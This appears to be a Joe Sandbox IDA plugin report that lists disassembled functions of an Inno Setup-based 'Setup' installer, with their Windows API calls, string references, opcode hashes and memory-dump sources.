Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
String ID: Explorer
API String ID: 2594429197-512347832
Opcode ID: f3c8361725eef9bff07b95239c6cc6c76d0079f8a6e0ff4ed9e783ac20a8f365
Instruction ID: 891a8a9ba6a50f15bf9a018cf86143395c59512ec474f609402d2f23880bd937
Opcode Fuzzy Hash: f3c8361725eef9bff07b95239c6cc6c76d0079f8a6e0ff4ed9e783ac20a8f365
Instruction Fuzzy Hash: 3421E770744704AAD720FBB69C87F9B36989B04708F5044BFBA05EA1C3EABD8C14865E

Function 0047A520 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,?,?,?,?,?,0047A6E4,00000000,0047A802,?,?,-00000010,?), ref: 0047A539
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0047A53F
GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,?,?,?,?,?,0047A6E4,00000000,0047A802,?,?,-00000010,?), ref: 0047A552
CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,?,?,?,?,?), ref: 0047A57C
CloseHandle.KERNEL32(00000000,?,?,?,?,0047A6E4,00000000,0047A802,?,?,-00000010,?), ref: 0047A59A

Strings

GetFinalPathNameByHandleA, xrefs: 0047A52F
kernel32.dll, xrefs: 0047A534

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileHandle$AddressAttributesCloseCreateModuleProc
String ID: GetFinalPathNameByHandleA$kernel32.dll
API String ID: 2704155762-2318956294
Opcode ID: 88a8c936608514afbe312301cb368b3e0211a0a7c56b45f1a24771b323015946
Instruction ID: 320146bbde1b61553681a92496797b1f6317eb042bce283d6ce39ef460de2c8e
Opcode Fuzzy Hash: 88a8c936608514afbe312301cb368b3e0211a0a7c56b45f1a24771b323015946
Instruction Fuzzy Hash: B901D651740704B6E12071BA4C86FBF254C8B8076EF14C237BA1CEA2D2EDBC8D29055F

Function 00422D5C Relevance: 12.1, APIs: 8, Instructions: 119windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00422DB0
GetCapture.USER32 ref: 00422DBF
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422DC5
ReleaseCapture.USER32 ref: 00422DCA
GetActiveWindow.USER32 ref: 00422DD9
SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422E58
SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422EBC
GetActiveWindow.USER32 ref: 00422ECB

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: 76d133bd63205c77df4fc35cb5ac3e6a3b2cbed3dbdfcfb07bd335b48f3ad0f4
Instruction ID: 4be391fc5331ea1dfd1a109fd4ad8dbd2eaf74e5b86af372b0ff7ce3ba56509b
Opcode Fuzzy Hash: 76d133bd63205c77df4fc35cb5ac3e6a3b2cbed3dbdfcfb07bd335b48f3ad0f4
Instruction Fuzzy Hash: 0B413030B00214AFDB10EB66DA82B9E77F5EF45714F5540BAE500AB392D7B8AE40DB49

Function 0042EFA0 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00010426,000000F0), ref: 0042EFCA
GetWindowLongA.USER32(00010426,000000EC), ref: 0042EFE1
GetActiveWindow.USER32 ref: 0042EFEA
MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 0042F017
SetActiveWindow.USER32(?,0042F147,00000000,?), ref: 0042F038

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$ActiveLong$Message
String ID:
API String ID: 2785966331-0
Opcode ID: 6c3fb0858bc5e00423445add7e7c4afb0c466dcef387746697a355a612d9a4a7
Instruction ID: 2b5b67299f0c103be0e0ce73655ff370c269c70d563eecd706fd4b3ba78672cf
Opcode Fuzzy Hash: 6c3fb0858bc5e00423445add7e7c4afb0c466dcef387746697a355a612d9a4a7
Instruction Fuzzy Hash: B831A871A00654AFDB11EFB6DC52E6EBBF8EB09704B9144BAF414E3692D63C9D10CB18

Function 0042937C Relevance: 12.1, APIs: 8, Instructions: 62COMMON

Download Yara Rule

APIs

73E9A570.USER32(00000000), ref: 00429386
GetTextMetricsA.GDI32(00000000), ref: 0042938F

Part of subcall function 0041A178: CreateFontIndirectA.GDI32(?), ref: 0041A237

SelectObject.GDI32(00000000,00000000), ref: 0042939E
GetTextMetricsA.GDI32(00000000,?), ref: 004293AB
SelectObject.GDI32(00000000,00000000), ref: 004293B2
73E9A480.USER32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 004293BA
GetSystemMetrics.USER32(00000006), ref: 004293DF
GetSystemMetrics.USER32(00000006), ref: 004293F9

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Metrics$ObjectSelectSystemText$A480A570CreateFontIndirect
String ID:
API String ID: 361401722-0
Opcode ID: 9af4e67870cc71dfcbc9c2d259a3405ea7d37598670eb775151867812a634aca
Instruction ID: 6a4e9be2b9d839804b60a923c57d227b29be467018128070cadeee0dca85f200
Opcode Fuzzy Hash: 9af4e67870cc71dfcbc9c2d259a3405ea7d37598670eb775151867812a634aca
Instruction Fuzzy Hash: 0501A1A17047502BF710B67A8CC2B6B6688DB4835CF44053BFA45DA3D3D66D9C41866A

Function 0041DDA4 Relevance: 12.1, APIs: 8, Instructions: 59windowCOMMON

Download Yara Rule

APIs

73E9A570.USER32(00000000,?,00418FE9,0049B876), ref: 0041DDA7
73EA4620.GDI32(00000000,0000005A,00000000,?,00418FE9,0049B876), ref: 0041DDB1
73E9A480.USER32(00000000,00000000,00000000,0000005A,00000000,?,00418FE9,0049B876), ref: 0041DDBE
MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DDCD
GetStockObject.GDI32(00000007), ref: 0041DDDB
GetStockObject.GDI32(00000005), ref: 0041DDE7
GetStockObject.GDI32(0000000D), ref: 0041DDF3
LoadIconA.USER32(00000000,00007F00), ref: 0041DE04

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ObjectStock$A4620A480A570IconLoad
String ID:
API String ID: 2905290459-0
Opcode ID: b4354cc2fd12a56e246cf9f22792f7c9ec4eacbe65f547eef8735d26e016fd3b
Instruction ID: c3a5956d5aba6b99018035ccf12b767806d16c00d472ba75ece5e4d84afec819
Opcode Fuzzy Hash: b4354cc2fd12a56e246cf9f22792f7c9ec4eacbe65f547eef8735d26e016fd3b
Instruction Fuzzy Hash: 0A1130B06402419EE740FF665956B6A37A0EB34349F40543FF605AF2D2D77A2C448B6E

Function 00478E74 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200windowCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(00000000,COMBOBOX,?), ref: 00478ECD
73EA59E0.USER32(00000000,000000FC,00478E28,00000000,0047910C,?,00000000,00479136), ref: 00478EF4
GetACP.KERNEL32(00000000,0047910C,?,00000000,00479136), ref: 00478F31
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00478F77

Strings

COMBOBOX, xrefs: 00478EC6
Inno Setup: Language, xrefs: 00478FFF

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClassInfoMessageSend
String ID: COMBOBOX$Inno Setup: Language
API String ID: 1455646776-4234151509
Opcode ID: 5b702704554498c020d586d49fe959774a3515bc0836385fa28d8390b37dec0f
Instruction ID: 1c6b027b0c58f04628941d943b4750c005d19eae73d829622dbcad5dcc2db597
Opcode Fuzzy Hash: 5b702704554498c020d586d49fe959774a3515bc0836385fa28d8390b37dec0f
Instruction Fuzzy Hash: 8A814D34A002459FD710DF69C885AEAB7F5FB09304F5581BBE808EB362DB78AD45CB58

Function 00408728 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00408970,?,?,?,?,00000000,00000000,00000000,?,00409977,00000000,0040998A), ref: 00408742

Part of subcall function 00408570: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049E4BC,00000001,?,0040863B,?,00000000,0040871A), ref: 0040858E

Part of subcall function 004085BC: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004087BE,?,?,?,00000000,00408970), ref: 004085CF

Strings

:mm, xrefs: 00408924
mmmm d, yyyy, xrefs: 00408833
AMPM, xrefs: 0040890D
:mm:ss, xrefs: 0040893E
m/d/yy, xrefs: 00408811

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 9762f0044aa82c49b05a4f6a6dbb93f8bd35cba665bf2e9f628a1b44fb96502e
Instruction ID: a00b4bccd6fb9f47b38d28f6bd3b2a7260f7051758344ef6878d2d76b2fb348a
Opcode Fuzzy Hash: 9762f0044aa82c49b05a4f6a6dbb93f8bd35cba665bf2e9f628a1b44fb96502e
Instruction Fuzzy Hash: EE514E24B00108ABDB00FBA69D81A9E7BA9DB84304F50C07FA541BB3C6DA3DDE05975E

Function 0044B3FC Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158windowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0044B601), ref: 0044B494
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 0044B552

Part of subcall function 0044B794: CreatePopupMenu.USER32 ref: 0044B7AE

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 0044B5DE

Part of subcall function 0044B794: CreateMenu.USER32 ref: 0044B7B8

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 0044B5C5

Strings

,, xrefs: 0044B4A7
?, xrefs: 0044B4AE

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: a2833d8ed4c20158277cff5e488524716fd2764326020b2a3b2b051827578436
Instruction ID: fb4e6fd72c3faa7359eeab1e615e9527772f61f9a83c9765cabfe70ed590232c
Opcode Fuzzy Hash: a2833d8ed4c20158277cff5e488524716fd2764326020b2a3b2b051827578436
Instruction Fuzzy Hash: 1B51E3B0A00145ABEB10EF7ADC816AA7BF5EB08304B11457AF948E7396D738D901CB98

Function 00411704 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158windowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,00411909), ref: 0041179C
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 0041185A

Part of subcall function 00411ABC: CreatePopupMenu.USER32 ref: 00411AD6

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 004118E6

Part of subcall function 00411ABC: CreateMenu.USER32 ref: 00411AE0

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 004118CD

Strings

,, xrefs: 004117AF
?, xrefs: 004117B6

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: 2cabf7ec798b33f00efb784d90788f707dfe67debe2bb61a488dfe873c3a5b94
Instruction ID: 0588160e9c3bea5e41091094ebbbafd4ad0a0b8a82d11dc3585a4ff94bbc1290
Opcode Fuzzy Hash: 2cabf7ec798b33f00efb784d90788f707dfe67debe2bb61a488dfe873c3a5b94
Instruction Fuzzy Hash: 48511474A101449BCB00EFBADC816EA7BF9AF08314B11817BF908E73A6D738D941CB18

Function 00457A98 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 154COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,00457CB4,00457CB4,?,00457CB4,00000000), ref: 00457C42
CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,00457CB4,00457CB4,?,00457CB4), ref: 00457C4F

Part of subcall function 00457A04: WaitForInputIdle.USER32(?,00000032), ref: 00457A30
Part of subcall function 00457A04: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00457A52
Part of subcall function 00457A04: GetExitCodeProcess.KERNEL32(?,?), ref: 00457A61
Part of subcall function 00457A04: CloseHandle.KERNEL32(?,00457A8E,00457A87,?,?,?,00000000,?,?,00457C63,?,?,?,00000044,00000000,00000000), ref: 00457A81

Strings

D, xrefs: 00457BE0
cmd.exe" /C ", xrefs: 00457B75
.cmd, xrefs: 00457B43
COMMAND.COM" /C , xrefs: 00457BAC
.bat, xrefs: 00457B28

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 854858120-615399546
Opcode ID: 364b9f5c6de01868fd40603a0b6e7651b69a7af5cd082b397fdfec516b642331
Instruction ID: 8e097507ae0a880d302f49ecc3a0fad72895191aa1a92503f15ca635d4bb5ffd
Opcode Fuzzy Hash: 364b9f5c6de01868fd40603a0b6e7651b69a7af5cd082b397fdfec516b642331
Instruction Fuzzy Hash: B1512330A0430DABCF11EFD5D882BDE7BB9AF44305F50407BF804A7282D7799A498B59

Function 0041BDE3 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0041BEA8
GetObjectA.GDI32(?,00000018,?), ref: 0041BEB7
GetBitmapBits.GDI32(?,?,?), ref: 0041BF08
GetBitmapBits.GDI32(?,?,?), ref: 0041BF16
DeleteObject.GDI32(?), ref: 0041BF1F
DeleteObject.GDI32(?), ref: 0041BF28
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BF45

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: c2bbeb005b735d1d905086dbae71c4b37469352f7096dc593493631537f92975
Instruction ID: 50b85f86ab8212979db7c1c31d792b72529ded424322b5a6af15d25448a7cccc
Opcode Fuzzy Hash: c2bbeb005b735d1d905086dbae71c4b37469352f7096dc593493631537f92975
Instruction Fuzzy Hash: 1E511871E00219AFCB10DFA9C9819EEBBF9EF48314B10406AF914E7391D738AD41CB64

Function 0041CE58 Relevance: 10.7, APIs: 7, Instructions: 152windowCOMMON

Download Yara Rule

APIs

SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CE7E
73EA4620.GDI32(00000000,00000026), ref: 0041CE9D
73E98830.GDI32(?,?,00000001,00000000,00000026), ref: 0041CF03
73E922A0.GDI32(?,?,?,00000001,00000000,00000026), ref: 0041CF12
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CF7C
StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041CFBA
73E98830.GDI32(?,?,00000001,0041CFEC,00000000,00000026), ref: 0041CFDF

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Stretch$E98830$A4620BitsE922Mode
String ID:
API String ID: 4209919087-0
Opcode ID: aeef8ebf13b1dd988cd375c431bec58d587267c782f9a376af04e9d6801495a6
Instruction ID: e6b8ed676aeb09a4d33c9cfb624ea3c12d8c1267b05ff0257f97f8cd6bb73aa1
Opcode Fuzzy Hash: aeef8ebf13b1dd988cd375c431bec58d587267c782f9a376af04e9d6801495a6
Instruction Fuzzy Hash: 82513B71604200AFDB14DFA9C985FABBBF9EB08304F10449AB544DB292C778ED80CB68

Function 00458174 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 142registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0045830B,?,00000000,0045834B), ref: 00458251

Strings

WININIT.INI, xrefs: 00458280
PendingFileRenameOperations2, xrefs: 00458220
04E, xrefs: 004582A1
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 004581D4
PendingFileRenameOperations, xrefs: 004581F0

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseOpen
String ID: 04E$PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
API String ID: 47109696-2004749930
Opcode ID: 943db22499035ef9f08f99e16bba769052a63dcd9c6dfe07dec82c1fb8996afd
Instruction ID: a7e3ec7201a79fd67293ed5cf84577abbbb05eb448a3f991e474f7cf059b7899
Opcode Fuzzy Hash: 943db22499035ef9f08f99e16bba769052a63dcd9c6dfe07dec82c1fb8996afd
Instruction Fuzzy Hash: FC51B430E002089BDB10EF61DC51ADEB7B9EB84705F5085BBFC04B7292DF79AA458A58

Function 0045A8F8 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0042D73C: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D74F

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,0045AAAC,?, /s ",?,regsvr32.exe",?,0045AAAC), ref: 0045AA1E

Strings

/u, xrefs: 0045A95A
/s ", xrefs: 0045A967
regsvr32.exe", xrefs: 0045A93F
0x%x, xrefs: 0045AA41
CreateProcess, xrefs: 0045AA10
D, xrefs: 0045A9D4

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$regsvr32.exe"
API String ID: 2051275411-4177147385
Opcode ID: 2387519d1600033f9301fa96723469869572c633e10ae606fc29709ed6b3e541
Instruction ID: 42da2f914751749cabab02452c23b5e5318517d95eab5ba09ca1f020927ee836
Opcode Fuzzy Hash: 2387519d1600033f9301fa96723469869572c633e10ae606fc29709ed6b3e541
Instruction Fuzzy Hash: 4C411870A003086BDB00EFE5C982B9DBBF9EF45705F50417BA904BB292D7789E19CB59

Function 0046D9F8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 118sleepCOMMON

Download Yara Rule

APIs

GetCursor.USER32(00000000,0046DB82), ref: 0046DAFF
LoadCursorA.USER32(00000000,00007F02), ref: 0046DB0D
SetCursor.USER32(00000000,00000000,00007F02,00000000,0046DB82), ref: 0046DB13
Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046DB82), ref: 0046DB1D
SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046DB82), ref: 0046DB23

Strings

CheckPassword, xrefs: 0046DAA7

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Cursor$LoadSleep
String ID: CheckPassword
API String ID: 4023313301-1302249611
Opcode ID: dbfb0836d6f385f0ff3fc59e404f1a5596e81688c60956a0eb3d95db5e9e05cf
Instruction ID: 628a4b64b4afb3eedea11a8a186c0a19c3850593427229a707bac32c2fa43958
Opcode Fuzzy Hash: dbfb0836d6f385f0ff3fc59e404f1a5596e81688c60956a0eb3d95db5e9e05cf
Instruction Fuzzy Hash: 6B419F34B442049FD700EF69C88AF9ABBE0EF45704F5580B6B8049B3A2D778AE44CB59

Function 0047EAB8 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 108COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0047EC2B,?,?,00000000,0049E624,00000000,00000000,?,0049B1DD,00000000,0049B386,?,00000000), ref: 0047EB4B
GetLastError.KERNEL32(00000000,00000000,00000000,0047EC2B,?,?,00000000,0049E624,00000000,00000000,?,0049B1DD,00000000,0049B386,?,00000000), ref: 0047EB54

Strings

\_RegDLL.tmp, xrefs: 0047EBB8
REGDLL_EXE, xrefs: 0047EBC8
_isetup, xrefs: 0047EB36
\_setup64.tmp, xrefs: 0047EBE3

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

